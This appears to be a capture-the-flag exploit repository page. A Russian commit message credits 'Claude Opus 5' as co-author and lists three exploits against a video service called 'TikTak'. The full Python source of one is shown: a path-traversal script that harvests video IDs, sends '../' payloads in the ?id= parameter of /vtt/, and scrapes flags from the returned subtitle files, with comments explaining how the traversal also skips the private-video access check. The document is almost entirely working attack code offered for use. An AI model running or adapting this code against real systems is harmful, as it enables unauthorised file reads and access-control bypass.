- tiktak_vtt_path_traversal.py: ../ в ?id=, подбирает рабочий шаблон
один раз и переиспользует на остальных ID.
- tiktak_vtt_auth_bypass.py: рассинхрон SQL/FS ('./7' => MySQL 0, файл
public/vtt/7.vtt), работает даже если запатчат только traversal.
- tiktak_private_preview_leak.py: резкое превью приватного видео,
OCR опционален, без pytesseract молча не печатает мусор в stdout.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
119 lines
4.1 KiB
Python
Executable File
119 lines
4.1 KiB
Python
Executable File
#!/usr/bin/env python3
|
|
import sys
|
|
import re
|
|
import random
|
|
import requests
|
|
|
|
USE_CUSTOM_USER_AGENT = False
|
|
FLAG_RX = re.compile(r"[A-Z0-9]{31}=")
|
|
|
|
USER_AGENTS = [
|
|
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36",
|
|
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Safari/605.1.15",
|
|
"Mozilla/5.0 (X11; Linux x86_64; rv:126.0) Gecko/20100101 Firefox/126.0",
|
|
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0"
|
|
]
|
|
|
|
PORT = 5000
|
|
WATCH_RX = re.compile(r"/watch/(\d+)")
|
|
|
|
# path.Join("public/vtt", <payload>+".vtt") -- the payload escapes VttFolder and
|
|
# is re-anchored at the container WORKDIR (/app) or at "/".
|
|
TRAVERSALS = [
|
|
"../vtt/{id}",
|
|
"../../public/vtt/{id}",
|
|
"../../../app/public/vtt/{id}",
|
|
"../../../../app/public/vtt/{id}",
|
|
]
|
|
|
|
|
|
def exploit(target_ip):
|
|
flags = set()
|
|
|
|
headers = {}
|
|
if USE_CUSTOM_USER_AGENT:
|
|
headers["User-Agent"] = random.choice(USER_AGENTS)
|
|
|
|
# -------------------------------------------------------------------------
|
|
# VULN: server/server.go:190 handleVtt()
|
|
# vttPath := path.Join(s.c.VttFolder, vid+".vtt")
|
|
# return c.File(vttPath)
|
|
#
|
|
# `vid` comes straight from ?id= and is NEVER sanitised (no path.Clean("/"+p)
|
|
# guard like echo's Static handler does). Any "../" sequence walks out of
|
|
# public/vtt and c.File() happily serves the result -- i.e. arbitrary read of
|
|
# any *.vtt file on the container filesystem.
|
|
#
|
|
# Bonus: the very same value is fed to GetVideo() whose error is ignored, so
|
|
# a traversing id also never matches a DB row -> the private-video ACL check
|
|
# in haveAccess() is skipped as well (zero Video => Private=false).
|
|
#
|
|
# Here we abuse it to pull the subtitle track (= the flag) of every video
|
|
# while never touching the authorisation path at all.
|
|
# -------------------------------------------------------------------------
|
|
try:
|
|
s = requests.Session()
|
|
s.headers.update(headers)
|
|
base = f"http://{target_ip}:{PORT}"
|
|
|
|
ids = []
|
|
try:
|
|
r = s.get(f"{base}/feed", timeout=5)
|
|
ids = sorted({int(x) for x in WATCH_RX.findall(r.text)}, reverse=True)
|
|
except requests.RequestException as e:
|
|
print(f"[-] feed failed for {target_ip}: {e}", file=sys.stderr, flush=True)
|
|
|
|
if not ids:
|
|
ids = list(range(200, 0, -1))
|
|
|
|
good_tpl = None
|
|
for vid in ids:
|
|
templates = [good_tpl] if good_tpl else TRAVERSALS
|
|
for tpl in templates:
|
|
try:
|
|
r = s.get(f"{base}/vtt/",
|
|
params={"id": tpl.format(id=vid)},
|
|
timeout=5)
|
|
except requests.RequestException as e:
|
|
print(f"[-] vtt {vid} failed: {e}", file=sys.stderr, flush=True)
|
|
break
|
|
if r.status_code != 200 or "WEBVTT" not in r.text:
|
|
continue
|
|
good_tpl = tpl
|
|
flags.update(FLAG_RX.findall(r.text))
|
|
break
|
|
|
|
except requests.RequestException as e:
|
|
print(f"[-] Request failed for {target_ip}: {e}", file=sys.stderr, flush=True)
|
|
# -------------------------------------------------------------------------
|
|
|
|
return flags
|
|
|
|
|
|
def main():
|
|
if len(sys.argv) < 2:
|
|
print(f"Usage: {sys.argv[0]} <target_ip>", file=sys.stderr, flush=True)
|
|
sys.exit(1)
|
|
|
|
target_ip = sys.argv[1]
|
|
|
|
try:
|
|
found_flags = exploit(target_ip)
|
|
|
|
if found_flags is None:
|
|
found_flags = []
|
|
elif isinstance(found_flags, str):
|
|
found_flags = [found_flags]
|
|
|
|
for flag in found_flags:
|
|
clean_flag = str(flag).strip()
|
|
if FLAG_RX.fullmatch(clean_flag):
|
|
print(clean_flag, flush=True)
|
|
|
|
except Exception as e:
|
|
print(f"[-] Exploit error for {target_ip}: {e}", file=sys.stderr, flush=True)
|
|
|
|
|
|
if __name__ == "__main__":
|
|
main()
|